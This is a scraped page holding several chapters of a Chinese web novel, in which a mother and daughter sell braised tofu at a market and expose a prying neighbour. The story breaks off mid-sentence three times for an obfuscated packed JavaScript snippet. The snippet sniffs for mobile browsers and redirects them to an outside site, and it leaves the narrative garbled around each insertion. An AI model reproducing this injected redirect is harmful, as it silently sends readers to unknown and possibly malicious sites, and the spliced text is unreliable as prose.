“唔。”苏芷寒双手捧着，咬上一口，满满的肉汁登时喷涌而出，刹那间便让肉香、葱香和油香充斥在口腔中，配合上蓬松且富有嚼劲的面皮，皮连着汁，汁黏着肉，味道可以说是相当不错：“好吃！” 填饱肚子，母女两个也该做正事了。 苏芷寒昨日把周遭市井逛了圈，熟门熟路往一家豆腐铺而去。不过走到一半，她就被蒋珍娘给拉住：“错了，往这边走。” “嗯？豆腐铺在那边——” “这边有更好的地儿买。”蒋珍娘指了指边上的小路，拉着女儿拐了进去：“我往日来这里买过豆腐，他们家的东西不错，价格还便宜。” 这是条不算宽敞的巷子，摊贩们沿着墙角或蹲或站或坐着，见着人来忙打开跟前的箩筐盖子，给路人瞧着手里的东西。 新鲜的鸡蛋、金灿灿的柿子、刚打下来的板栗……另外还有卖油的、卖酱的、卖酒的，卖米的，琳琅满目应有尽有。 最重要的是，这里价贱，不少东西的价只要铺里的三分之二，甚至只要三分之一的都有。 苏芷寒看得目不转睛，跃跃欲试，心里头蹦出数个新思路来。不过还没等她上前问问价，就被蒋珍娘一把拉住：“寒姐儿，别光看东西便宜，这里头可有不少坑呢。比如那些个称份量的，缺斤少两是最常见的，还有人往盐巴里掺灰的，故意把米面放潮已增重的。” “鸡蛋弄点鸡屎鸡毛便说是新鲜的。” “香油往里兑点菜籽油那更是常事，还有更黑心的直接往菜籽油里加点甜浆，冒充是香油。” “蔬菜瓜果用水泡一泡，充作好的。” “还有千万不要他们给你装篮子里，瞧着你手上清闲了，实则偷偷把坏的菜叶儿塞在最里头，把好的换掉。” “这般的还有腌制的肉干。” “有些用田鼠麻雀冒充，有些直接用死马肉来顶替鹿肉羊肉……” “不过你也别觉得新鲜的肉就一定好，还有坏人会往里注水，以求多占点份量。” 蒋珍娘年幼时在府里过过好日子，年纪大了又呆在村里过过苦日子，对这里头的门道那是知道得清清楚楚，拉着女儿悄声说着其中的猫腻，而后又说了几种分辨的方法。 “比如那香油，抹点到手背上。” “过会儿再去闻，要是菜籽油就是一股油蛤味，要是蜜浆则是股甜香味，和香油留下的香味都截然不……” 蒋珍娘止住话语，努努嘴示意苏芷寒往前看。苏芷寒抬眸望去，只见一人正用着蒋珍娘说的法子，要卖油翁取滴香油试一试，而外表忠厚，看着极为老实的卖油翁表情一变，横眉竖眼：“这般不信，那就别买我家的油，去去去！别挡着我做生意。” 买油人也不纠缠，转身便去了另一家摊贩处购买，而这名卖油翁换了个地，若无其事地再次开始叫卖。 “……官府也不管？” “一来没出什么事，官府把人带去也顶多是杖责鞭挞。”蒋珍娘摇了摇头，拉着女儿走远些：“二来那些人都是周遭乡村的，家里人寻上门来闹事，得不偿失。” “咱们能做的，便是上心些，免得上当受骗。若是府里教你跑腿买东西，你别去摊贩，宁可贵些去铺子里，万一出了问题也好有寻觅之地。”蒋珍娘拉着苏芷寒绕过那卖油翁，很快寻到一间豆腐摊前：“大哥，今儿个还有老豆腐吗？” “蒋娘子来了？老豆腐还有哩。”豆腐摊主是个中年汉子，挑着筐子来卖豆腐的，闻言忙掀开粗布，露出自家的豆腐给母女两个看：“你看看，都是今儿个早上做的，好得很！” 苏芷寒上前瞅了眼，那豆腐呈现淡黄色，表面平整光滑，且切口处很是平整，看着便很是新鲜。 “今儿个什么价？” “您是我家的常客了，一块三文钱，两块五文钱。”中年汉子乐呵呵道。 苏芷寒算了算每块卤水豆腐能做的豆干量，笑吟吟道：“那要是剩下的我们都要了呢？” 汉子愣了愣：“剩下的都要？” 他看看蒋珍娘，又看看头发细软泛黄，瞧着只有八九岁大的苏芷寒：“蒋娘子，这是你家小娃儿？” “这是我女儿。”蒋珍娘也被女儿的话唬了下，又很快冷静下来。她先是回答了汉子的问题，而后追问道：“大哥，剩下的咱们全要了，一共多少钱？” “我瞧瞧。”汉子还剩下一板半的卤水豆腐没卖完，一板子有六块，总共还有九块：“一共二十三文钱……算二十文吧，多的那块算我送你们的！” “哎呦，那怎么使得。” “哎，没事。”中年汉子脸上带笑，用粗布把豆腐包在一块，小心翼翼地放进苏芷寒拎着的竹篮里：“你们是准备要做生意吧？” “……哎，是有这个打算。” “我就晓得。”中年汉子笑眯了眼，见苏芷寒拿住竹篮才松开手：“祝你们生意兴隆，往后也要多多光顾我家哦！” “好好，谢谢大哥。”蒋珍娘听着话，乐得合不拢嘴，伸手帮女儿提着沉甸甸的竹篮，高高兴兴与汉子告别。 紧接着，两人又去杂货行里买上几样香料，瞧着时间不早便赶紧回家去了。 回到家里，苏芷寒抓紧时间开工，她先是教蒋珍娘去装一碗清水来，随即手持菜刀，干脆利落地把豆腐切成手指宽度的厚片，然后再将切好的豆腐对半切成，分割均匀的长方块。 “寒姐儿，这些水够不够。” “够了。”苏芷寒瞥了一眼，又让蒋珍娘往清水里加了一勺子盐巴，再用筷子把盐搅散化开。 然后，苏芷寒把切好的豆腐块放入碗里，用盐水浸泡片刻。 在这期间，她转身去准备香料。比起价贱的豆腐，那香料真真是贵的教人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“最后来点胡麻。”苏芷寒往锅里洒了些胡麻，翻拌几下，让胡麻均匀地裹在豆腐干上，最后熄了火：“这样便好了。” 热气裹挟着香气氤氲而起，蒋珍娘迫不及待地凑上前来，伸出手取了块尝尝：“呼呼，好烫！呼，呼——” 放入口中，独特且奇妙的滋味便在舌尖散开。先是饴糖带来的甜香，而后是酱汁的咸香，再然后是豆腐本有的豆香。 只需牙齿轻轻触碰咀嚼，豆腐干的卤汁从中不断挤出，让三者的香味结合在一起，朝着味蕾发起不断的冲刺。 “好吃，好好吃！” “放凉以后，味道还会更好的。”苏芷寒把锅里的豆腐干倒在盘里，铺平晾凉，而后从柜里翻出个罩网罩上：“等咱们早上上工回来，便可以拿出去售卖了。” 蒋珍娘连连点头，她尝过卤汁豆干的滋味，登时自信满满，教她说没人能抵抗住这般的诱惑！ 绝对的！ 10.王婆子倒霉 王婆子喝了一肚子的凉水，说有多气就有多气。偏生隔壁蒋家那香味虽说比前头淡了点，但隐隐约约的，勾得她肚子里的馋虫翻腾不休。 “吱呀——”王婆子听到动静，忙钻回屋里。她拉开门缝往外瞅，见着蒋珍娘和苏芷寒一前一后经过家门口：“阿娘，门窗都锁好了？” “锁好了。” “行，那咱们中午下工就回来哦？” “我晓得的，你就放心吧！”蒋珍娘连连点头，使着女儿早点出发：“快去灶房吧，小心迟了。” “哎，那我走了。” “好，我也去洗衣房了。” 母女两个的声音越来越轻，到最后完全听不到了。王婆子拉开一条门缝，确定蒋珍娘和苏芷寒走远后，她才拉开门，随手捡起桌上摆着的碗，装作是寻蒋家人有事，实则提着裙角一溜小跑到蒋家门外。 “蒋娘子，蒋娘子。”王婆子装模作样地喊了两声，而后伸手拉了拉门，又拉了拉窗，就如蒋珍娘说的那样，门窗都锁得挺好。她尚不死心，舔了舔手指，又往窗上戳了个洞，眼睛贴在上头往里瞅。 屋里黑漆漆的，看不清楚。 正当王婆子不死心，还想把窗户纸的洞弄大些的时候，身后传来一声呼喊：“是谁！谁在我家窗户门口看——王婆子！？” 王婆子吓了一跳，猛地转身看去，只见刚刚离开的蒋珍娘和苏芷寒出现在自己身后，母女两个正瞪着眼，满目震惊地瞅着她。 遭了！ 没等王婆子开口，蒋珍娘便柳眉倒竖，怒喝一声：“我的老天爷——王婆子，你，你，你居然是个贼！” “你，你说什么胡话？” “啥叫胡话？那你说说你为何要趴我家窗户上？你这是在做啥呢？”蒋珍娘早就瞧王婆子不顺眼了，只是往日没寻到错处，如今抓住机会登时嚷嚷起来。 “我……我就是看两眼！” “哎呦，我们娘俩刚出门你就凑过来看？”蒋珍娘曾在村里住了好长时间，最常见的便是王婆子这等人。 就像她在市井上教女儿的那般，村里有好人，可泼皮无赖更多，不然她们也不得不连夜跑路，卖身为奴。 前两个月，蒋珍娘都忙着安稳下来，而如今她好不容易抓到王婆子的把柄，自是想一举把她的威风打下去。 蒋珍娘大步向前，扯着嗓门嚷嚷：“哎呦！这当贼的还有理了！快来人！抓贼了！抓贼了！” 抓贼两字一出，周遭冒出不少人来。 下人院里也不太平，今儿个你占他点便宜，后日里他占她点便宜，少了里衣绣鞋，丢了坠儿首饰的事常有发生。 以前的不说，就上个月时吴妈妈家办婚事，结果婚礼当天便丢了一支银簪子，到现在都没寻到呢。 “竟是……王婆子。” “上回吴妈妈儿子成亲时，王婆子也去了吧？” “去了去了。” “我记得她还跑去看新媳妇的首饰呢……” 王婆子听到众人的话语，登时急得涨红了脸。她扯着嗓子嚷嚷：“你这人怎么这般胡说八道？我，我是昨日问你借了葱，想还你才去你家门口张望的。” 王婆子不说也罢，说了以后苏芷寒便乐了。她伸手指向王婆子家门口摆着的竹筐子，指着里面随风摇曳的小葱：“您家葱明明有这么多，昨儿个为何要来问我家借？” 登时，所有人的眼神更加古怪了。 原本还有些怀疑的下人，也开始窃窃私语：“莫不是王婆子……她在偷蒋家东西？看不出来啊……” “贼能看出来，才奇怪呢。” “你们这帮泼皮，说什么疯话呢？”王媳妇刚出来，就听到这般的话儿，登时白眼一翻：“咱们家偷蒋家的东西，那怎么可能！？就那破茅屋子，能有啥东西在里头啊？” “那不是偷东西，又是做什么？” “我，我就是去看了眼。” “看了眼？那鬼鬼祟祟的莫不是——”有年轻媳妇下意识接话，“偷窥！？” 刹那间，院里寂静无声。 尤其等一帮下人见着王婆子身后的窗户上，还有个手指头戳破的洞，更是相信了这个猜测，他们纷纷后退一步，议论声越发响亮。 王婆子顶着众人的视线，恨不得一头撞死，她扯着媳妇进了屋，把门死死锁上。 周遭的议论声没有停歇，等到午后都有人提起，只不过随着流言扩散，再传回苏芷寒耳中时，版本已是王婆子好女色，好偷别家媳妇的裹肚和小裤。 倒不是说真有人相信王婆子偷东西，又或是相信王婆子有那啥特殊癖好，其实大部分下人都知道她爱偷窥旁人家的事。 可谁教王婆子被人抓了个正着，当场丢了这么大脸儿，登时成了所有人的笑料谈资，瞧着恐怕没个三五日不会消停呢。 苏芷寒一边听着粗使们的闲谈，一边将炒杂菜倒入盆里，随即将饼子摞得高高的。 等中午的事儿忙完，她匆匆往家里赶。 蒋珍娘回来的比苏芷寒还要早，此刻正在给豆干分装，苏芷寒放下手里的东西，净了净手也加入工作中。 每个竹纸袋里是十块豆腐干，九块老豆腐一共装了六十袋，剩余零散的卤汁豆干被她用剪子剪开，准备稍后用来让人试吃。 待全部装好以后，蒋珍娘又有些忐忑起来。她把竹纸袋放进竹篮里，看着满满当当的竹篮，忍不住蹙起眉梢：“这么多的豆干，也不知道这点时间能不能卖完。” 苏芷寒对自己的手艺，以及看好的市场都很有信心，闻言毫不犹豫地安慰：“放心吧，阿娘，我觉得定然能卖完的。” 蒋珍娘打起精神，重重应声，紧接着她与女儿一人挎着一个竹篮，朝着门外走去。 两人出门时还瞅了眼王婆子家，往日总爱偷偷窥视母女两的王婆子今日没有出现，或者说王婆子家门窗紧锁，瞧着一点儿动静都没。 母女两个相视一笑，沿着小路走出后门。她们先去杂货行里买了一罐子牙签，而后顺着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14404349|152976||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 市井来到河边，两人放眼望去，这里已是热闹非常。 有人坐在亭子里小酌一杯，有人歪坐在石头上与人下棋，还有人抱着酒壶咕咚咕咚喝个不停。 另外还有杂耍卖艺的，弹琴唱曲的，支着摊子做饼子馒头的，当然还有穿梭在人群中，售卖吃食的女郎们。 她们什么岁数的都有，胳膊里挎着个竹篮子，逢人便迎上前去，推销着自家的吃食。 蒋珍娘眼瞅着已有这么多人开始售卖吃食，登时干劲满满：“寒姐儿，准备好了没？” 苏芷寒面露疑问，随后便见着蒋珍娘拔腿冲在另一名卖货娘子跟前，占据了个视野颇好的空地，随即扯着嗓子叫卖起来：“卤汁豆干，卤汁豆干！用蜂蜜和香料炖煮熬制的卤汁豆干，免费试吃！！！” 苏芷寒：“…………” 蒋珍娘还真没骗苏芷寒，她的确是个卖货的老手。 事实上，免费试吃并不是什么新鲜的促销方法，可架不住蒋珍娘嗓门又大，说出来的吃食更是众人未曾听见过的，瞬间引来不少人的注意。 “卤汁豆干，那是什么？” “莫不是豆腐干吧？凉拌豆腐干？” “人家都说是用蜂蜜和香料炖煮出来的，哪能是凉拌豆腐干。” “……对哦。” “走走走，咱们过去尝尝？” “反正免费的，我们也去尝尝吧！” 听到免费试吃四字而聚拢过来的路人有不少，等走到近处其中几人便闻到一股诱人的香味。 “唔……这是什么味儿？” “那是豆腐干？豆腐干怎么长这样子？”另有眼尖的，已瞧见竹篮里搁着的豆腐干了。 经过油炸，而后又经过卤煮和炒制的卤汁豆腐表面皱巴巴的，色泽红润油亮，与光滑细嫩的豆腐截然不同。 当然，还有那直入鼻腔的幽幽香味。 不少人原是凑凑热闹，此时一双眼儿落在卤汁豆干上，那是挪都挪不开。 苏芷寒回过神来，忙挤进人群里。她从竹篮里取出牙签罐子，拧开盖，取出竹牙签，一根插在一片上，再递给跟前的食客。 “恁的小摊，还这么讲究。”站在前头的食客哈哈一笑，接过一根牙签，嗅了嗅那香味，然后放入嘴里。 咬下的那一刻，食客登时愣住。在他的想象之中豆腐干都颇有韧性，咬起来略带点脆感，而嘴里的卤汁豆干……嗬！怎能如此软嫩？ 皱皱巴巴的外皮，蓬松饱满的内里，这豆干吸满了卤汁，又带着点甜蜜，甜咸交错的滋味在舌尖跳动，轻轻叩击着味蕾的大门。 这般的吃食，居然是豆腐干？ 食客大吃一惊，闭上眼睛细细品味，他每一次牙齿用力咀嚼，那小小的豆干里都会涌出更多的汁水，咸香、甜香和豆香充分糅合，你中有我，我中有你。 唯一遗憾的就是……实在太少了！ 那食客早就把自己想尝一口就走的心思抛到脑后，他兴奋道：“这豆干多少钱？” 11.售空 苏芷寒早等着了，闻言笑道：“这位客官，咱们家的豆干一袋三文钱，今日咱们是头回出来卖这豆干，买两袋有特别优惠，只要五文钱！” 这价格说便宜不便宜，说贵也不算贵。 说便宜吧，一袋儿卤汁豆干的价都能买整块豆腐、一个菜叶包子又或是半两蜜枣了；可说贵吧，下酒菜里卤鸡肠、酱花螺、烧猪耳、炸鹑子之类的吃食哪个不比它贵。 只见那食客犹豫了下，咬咬牙：“给我一袋，不！给我两袋！” 蒋珍娘眉开眼笑，迅速打包好送上前去：“谢谢光顾！还请您拿好，您尝着好吃，吃着满意，下次再来哦！” 食客，如获至宝的捧着豆腐干去了。随着这名食客要了两包，后头陆陆续续也卖出不少，生意着实算得上不错。 原本担心价格放高了的蒋珍娘，也终于长舒了一口气，叫卖声越发干脆响亮。 卖的是不错，却也不是苏芷寒想象中的那种尝了口便惊为天人，而后哄抢一空的景象。 有人尝着味儿觉得不错，很快便买了一袋尝尝鲜，也有人听到价格便连连摇头，嗤之以鼻：“就个豆腐做的吃食，怎敢要这般价格？前头卖的香豆干一袋一文钱，比你们这量还要多！” “味道不错，但也不值这个价。” “三文钱都能买一整块豆腐了！” 随着路人的抱怨声接二连三的响起，原本想要购买的顾客也心生犹豫来，这价都能买两个肉馒头，又或是五个油糍，不过是十片豆干罢了，的确是有些贵了。 蒋珍娘笑脸一僵，瞧着围在四周的顾客纷纷转身离开，掌心满是汗水。瞅了眼没卖出几包的竹篮，咬了咬牙：“那——” 苏芷寒抢在前头，朗声说道：“几位郎君，的确咱们家的豆干也是用豆腐做的，不过制作的卤料酱汁可不一般，都是上好的香料，用料上大方得很，而且还得咱们守在旁边，足足炖了一个早上才有这个味儿。” 紧接着，她又捧起一包豆干，撕开外头的竹纸袋，教围在周遭的所有顾客都能瞧见：“诸位郎君，诸位娘子，你们瞅瞅，多好的色泽，多香的味儿！最重要的是，全京城独有我家在卖的！” 听苏芷寒这么一说，又有几人迟疑了。 正当他们拿捏不定主意的时候，一名穿着绸制青衫的中年人走上前来。他抚了抚胡须，笑道：“你个丫头，年纪小，一张嘴还挺会说的，我倒要尝尝你那豆干子用了何等的好香料。” 苏芷寒抬眸打量了一眼下接话的中年人，他脸上眉毛胡须整整齐齐，穿着一身绸子衣衫，头顶簇新的幞头，脚上蹬着一双皂靴，样式普通却是刷得干干净净。 当下，皂靴是身份地位的象征，通常只有勋贵官吏乃至有功名的学子才能穿着，价格不菲。虽然中年人穿着的皂靴花纹单一，样式简单，但估摸也是四五贯钱，想来是一位不差钱的主。 “孙官人今日怎有空过来？” “好久未见孙官人了，您身体可好？” “孙官人好，上回的事儿麻烦您了，不知道您今儿个有空没？我想请您喝一杯！” 不待苏芷寒和蒋珍娘回话，围着看热闹的路人纷纷与孙官人打起招呼。更有人看挤不进搭话的人群，而转身看向苏芷寒，语重心长地说道：“小娘子，你要是现在改口还来得及。咱们孙官人，可是见过世面的，还是城里几家有数酒楼的常客呢。” 苏芷寒顺着话语，面上露出几分惊讶，虽然苏芷寒不晓得这位官人是何来路，但能肯定这位定然是位‘名人’。 聚在此地的大部分人都是嫌酒楼茶馆价高的，普通酒馆两人小酌一场大约五六十文，稍好些的便要百文。 而那些个有名酒楼的价格并无上限，一次用上一两贯钱，乃至五六贯钱都是常事。可以说，能去这些地方潇洒的，都不是缺钱的主！ “竟是酒楼的常客？” “那当然！孙官人可是在官府里做事的。”出口提醒的那人笑道，像是炫耀自己般说了好些关于孙官人的事。 这位孙官人，实则是京城府衙里的小吏。虽说有句俗话是在京城里随便砸下块砖儿，都能砸中个七品官，但正儿八经的官员公务繁忙，普通小民几乎不可能与他们打交道。 吏却是不同，他们乃是官府自行招募或是选拔而来，专门为官员打下手的。不但能频频接触到底层官员，而且与百姓打交道的频率更是远高于前者。 像是孙官人，便是其中一员。而他恰好做的还是记录审讯文档，撰写案件日常公文等事，正是一帮小民最容易接触的存在。 周遭百姓可能不知道府尹姓什名什，也可能不知道司录六曹参军是谁，但都晓得孙官人的名字。 “没错没错！” “昨日我还看见孙官人受邀去王富户家呢。” “这算得上啥哦，之前李家酱菜的掌柜请孙官人去瓦子里看戏，说是请了当红的李家姐儿表演哩！”那名食客款款叙述，话语里是赞叹，同时也透露出如他这般的普通百姓对官吏的向往。 “那得花多少钱啊？” “少说也得三四十……不！五六十贯吧？” “嘶——” “啧啧啧，我这辈子要是能去看一回，真真是死而无憾！”那名食客唏嘘一声，转而又想起正事来。他瞅着瘦瘦小小的苏芷寒，最后提醒了一回：“小娘子，你那话术是你娘教的吧？赶紧劝劝你娘，孙官人可不是你们能糊弄的。” 苏芷寒摇摇头，笑道：“咱们没糊弄，真是这么做的！” 这人见劝说无果，只暗叹可怜。他没再劝，而是离远一些免得牵连到自己身上。 苏芷寒是真自信，取牙签戳起一枚豆干，双手奉送上前：“孙官人，您尝尝？” 孙官人瞧她一眼，从身侧小包里取出钱袋，点了三枚铜板放在苏芷寒手里：“我不占你便宜，我直接与你买一包。” “孙官人，恁的客气。”苏芷寒见他不愿吃试吃，更愿自己花钱买来尝尝，不仅没有心生担忧，而且还暗暗庆幸。 这般的人要不就是警戒心重，谨慎仔细，不愿留下任何把柄的，要不就是重视脸面身份，瞧不上那些个小便宜的。无论是前者还是后者，对母女俩个面对的局面都暂且是一张好牌。 苏芷寒收回牙签，抹了抹手，又捡了一包卤汁豆干送上前，热情道：“孙官人，您尝尝，我家的豆干真与别处不一样，那味儿，好得很！” 孙官人伸手结果豆干，嗅了一嗅，苏芷寒不晓得的是孙官人过来，便是因他在前头见着路人在吃这物，卤汁味浓，闻着霸道不说还是个新鲜的，未曾见过的。 他很少买市井贱食，不是他不爱吃，主要是不愿像寻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14419056|152976||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 常百姓边走边吃，觉得有失身份。 孙官人原是想回了家，再教人来买的，而后听苏芷寒说是用上等香料做的，这才起了兴趣，开口插话。 如今东西摆在掌心，嗅着甜咸交错的香味，孙官人肚里的馋虫也被彻底勾起：“这味儿不错……” 孙官人捡起一块，只觉得入手略有点粘，他瞅着上面亮晶晶的光泽：“用的是蜂蜜？我瞅着焦化的模样，竟是有些像冰糖？” 苏芷寒竖起大拇指，不吝称赞：“孙官人好生厉害！咱们家用了蜂蜜，也用了冰糖的。” 只用了一丁点那也是用了。 如今饴糖价贱，冰糖价贵，蜂蜜次之。 苏芷寒为让卤汁豆干的风味更富有层次感，直接将三者全数运用上，另外在香料上也下了一番苦功夫。 最重要的是，当下冰糖产量低，较为珍贵，甚至被作为逢年过节，走访亲友时赠送的体面礼物。 再说——苏芷寒狡黠地一笑，放了一点点，那也是放了，她可没有说谎哦？放了冰糖的吃食，自是罕见的高档菜肴和糕点，卖这个价儿都是便宜了的。 果然，周遭众人闻言登时神色微变，前面买了的人吃惊道：“那小娘子怎么刚刚不说……” 要是说里头放了冰糖，贵上一点又有何妨。苏芷寒不好意思，手指捋起一缕头发转啊转：“阿娘说用的不多，不好拿冰糖当噱头。” 众人闻言，一时怔愣：“竟是如此！” 也有人唏嘘道：“大娘子就是太过心善了，怎么能这般瞒着，瞧瞧咱们都要误会了！” 当下以次充好，以假乱真的事常有发生，下等的材料往上等的吹，上等的材料更是要加个从南边儿来的名头，只为让价格能翻上十倍二十倍。 这般老实的人，也是少见了。 苏芷寒满眼骄傲，昂首挺胸，一脸被人夸赞很开心的模样。紧接着她仰起头，满眼崇拜地望向孙官人：“没想到孙官人好厉害，只看了一眼便认出来了！” “对对对，孙官人太厉害了。” “不愧是孙官人，竟是光看就看出其中的奥妙。”周遭百姓回过神来，话锋一转，连连夸赞。 “我刚刚吃了好几块呢，完全没发现里头竟是用了冰糖。”就连几个不断吃试吃的食客，也厚着脸皮凑上前来，巴结讨好。 “寻常的饭馆酒楼舍不得用，不过放在大酒楼和大户人家里，那冰糖也就是最寻常的调味品，我也是承蒙上官厚爱，尝了个鲜，见了点世面。” 孙官人被人围着吹捧夸赞，心情不错，一边回答周遭百姓的疑问，一边捡起豆干放入嘴里。 闻着香，吃着更香了。 孙官人眯了眯眼，细细咀嚼，甜香、咸香、卤香和豆香阵阵上前，明明是豆腐，吃起来竟是与肉般美妙：“这味儿，与我在吴家酒楼里吃的烧肉有几分相似。” 吴家酒楼，乃是京城里颇有名气的酒楼，里面一桌席面起码也得三五贯钱。 周遭百姓呼吸一滞，眼里都露出惊讶来。后头孙官人拎着豆干走了，剩余的豆干也是卖了个空空荡荡。 苏芷寒和蒋珍娘提着空荡荡的竹篮，难掩欣喜的往回走。 不过等路过肉铺的时候，苏芷寒目光瞥到悬在上头的五花肉。她脚步一顿，伸手拉着蒋珍娘的袖角：“阿娘——！” 12.王媳妇的梦 蒋珍娘哪瞧不出女儿的心思，更何况兜里揣着热乎乎的铜钱，她也有点心动呢。 蒋珍娘牵着女儿往肉铺去：“咱们就割条五花肉？要不要再来点别的？” 肉铺里经营的肉类繁多，除去常见的猪肉外，另有羊肉、鹿肉、兔肉和獐肉。猪肉价贱，每斤三十文，买者众多，至于后者的价格是一个比一个高，像是獐肉作为野味，售价高达每斤六百文，买的人还络绎不绝。 苏芷寒想了想，还是摇摇头：“等过两日，咱们钱攒多些，再来买别的。” 除去猪肉外，她还拉着蒋珍娘一道去杂货铺里补了香料，末了还去巷子里瞅了眼，不过卖豆腐的中年男人早就回去了，至于巷子里头另外两家豆腐摊子，要不比他家贵，要不东西尺寸比他家小。 苏芷寒瞬间兴趣缺缺，与蒋珍娘一道往回走。等走到后头市井处，蒋珍娘又上前去，买了两个甜口的菜叶包子，一个递到女儿手里，一手自己拿着咬了口：“你说你上回吃过咸的了，刚好今天再尝尝甜的，甜的也好吃！” 母女俩边吃边往里走，路过王婆子家还见着王媳妇坐在门口折豆芽菜，不过照旧没见着王婆子。 王媳妇抬眸撇了眼，起初不在意地低下头，只是手上折了几根豆芽菜以后她迅速回过神来，再次抬眸望向蒋珍娘和苏芷寒，视线直直落在蒋珍娘挽着的竹篮——里面是一大块猪肉。 对于侯府的家丁来说猪肉算不上啥，主子们多爱用羊肉、鹿肉与牛肉，又或是鱼虾之类的，就连用鸡鸭鹅肉都比猪肉来得多的多。 也正因府里用的量大，一等二等的丫鬟仆妇也常能尝到，也爱从外头买这些摆摆阔气，彰显身份体面。 可对于蒋家人，就有些奇怪了。 王媳妇昨日看蒋珍娘提着一串猪肉回来的，按着她过去的习惯起码也得过上大半个月才会再买一些。 每逢这日子，王婆子都要特意去市井买点好食，拿来吹嘘或是挤兑蒋珍娘子。 “奇怪啊奇怪。”王媳妇嘀咕了句。 “阿娘，我要吃菜叶包子。”王大宝瞅着远去的苏芷寒，伸手拽了拽王媳妇的腰带。 “你看啥就想吃啥，家里哪有这么多钱。”王媳妇没在府里上工，家里财政大权都掌握在王婆子手里，手里的私房钱少得可怜，哪里什么闲钱给儿子买零嘴。 “我要吃，我要吃，我要吃！” “你再吵小心我抽你！”王媳妇开口威胁一句，瞧着王大宝瘪着嘴要发大招，眼珠子一转，推了推儿子的背脊：“阿娘手里没钱，怎么给你买？你找你奶去，你奶最疼你了，肯定会带你去买的！” 王大宝想了想，爬起来就往屋里冲。 王媳妇抱着一盆子豆芽菜，也一道跟着进了屋。她把豆芽菜搁在灶台旁，又翻出一把蕨菜去外面清洗。 她坐在门旁边，手里清洗着蕨菜，眼角余光不住地往王婆子的屋子撇去，耳朵竖起听着儿子的吵闹声，只盼着王婆子能带着王大宝出门买吃的，也好教她翻找翻找银钱。 不多时，王媳妇便注意到儿子的哭闹声渐轻。她算计着时间，端着盆子又进了屋，刚放下便听到王婆子的唤声。 王媳妇带着期待，殷勤小意地进了屋，结果又挨了一顿骂，最终只拿到五个铜板——恰好是三个菜叶包子的钱。 “抠门鬼！” “黑心肠的死婆子！” 王媳妇出了门，便忍不住小声嘀咕起来，黑沉着脸往后门处走。她还瞅见了正返回府里当值的蒋珍娘和苏芷寒，看到母女俩又买猪肉吃，再捏了捏手里的五枚铜板，去府里做事的渴望愈发强烈了。 让王婆子十几年如一日做那没出息的粗使婆子，倒不如教她在家看孩子，自己进府里做事。郎君在三郎跟前跑腿，她去三娘子屋里做事，说不定过上两年便能成三郎夫妇的亲信，当上管事妈妈呢！ 王媳妇脚步定了定，越想越是个好主意，她兴冲冲地往府外走去，准备等到郎君回来就好好与他讨论讨论。 …… 往后四五日，蒋珍娘和苏芷寒也继续一道趁着休息，便去河边售卖。 起初她们仅仅是中午出门，后来晚间有空也会去夜市上走一圈，出售的吃食除去卤汁豆干，还多了一项：虎皮鸡蛋。 有那位孙官人的称赞，她们家的卤汁豆干很是行俏，虎皮鸡蛋略差些，但也卖得相当不错，偶尔留下几个也被母女俩热了热，当做次日的早食吃掉。 虽没赚得盆满钵满，但也还算过得去，这回再去肉铺里，蒋珍娘直接要了一斤的羊腩肉，另外又征得苏芷寒的意见，要了一斤的猪夹心肉，这才高高兴兴往回走。 “要不再买把芹菜？” “买芹菜做什么？” “闹，你不是要做芹菜炒肉片？” “才不是呢。”苏芷寒摇了摇头，她吃腻了府里的早食，也吃腻了虎皮鸡蛋，想着赚了些许银钱，也该升级下早食。 这夹心肉便是猪前腿肉，半肥半瘦，肉质口感细嫩，富有嚼劲，切片做炒菜，又或是切碎搅拌做肉丸子都是极好的选择。 苏芷寒脚步轻快地往回走，任凭蒋珍娘百般询问也没开口：“好了好了，我的娘，赶紧进去罢——” “呦，蒋娘子今儿买了羊肉？” “瞧瞧咱们寒姐儿多厉害，蒋娘子往后有大福气呢。” 刚进侯府大门，便有眼尖的婆子仆妇见着蒋珍娘竹篮里搁着的羊肉，脸上带着笑凑上前来，哪有过去尖酸刻薄的样。 起初二姑娘赏钱的事还没传开，随着二姑娘叫糕子的次数变多以后，这事渐渐在下人院里传开。 同时蒋珍娘讨得张妈妈的好，连布置喜房这般的事儿都教她跟去，抓了好几把喜钱的事也被下人院里诸多人知道。 眼瞅着蒋娘子和寒姐儿闷不吭声就站稳了跟脚，还瞧着说不定有着大出息，下人院里的人也变了态度，不能说好吧，起码也不愿得罪了。 俗话说伸手不打笑面人，面对吹嘘自己和女儿的婆子仆妇，蒋珍娘也是扬起笑容，热情寒暄：“您客气了，我听说您家小女儿已进了三姑娘院子？那真真是厉害呢！” “嗐，就是去当个针线丫鬟罢了。” “您这话说的，太谦虚啦！”蒋娘子脸上带笑，乐呵呵道：“以往我便看陶姐姐您袖口领口的绣花好看得紧，一直不好意思来问您是如何做的。” “现在看来，您家小女儿定是跟您学的，这才有了这般的好手艺！” “哎呦哎呦，你这话说的。”陶娘子乐得合 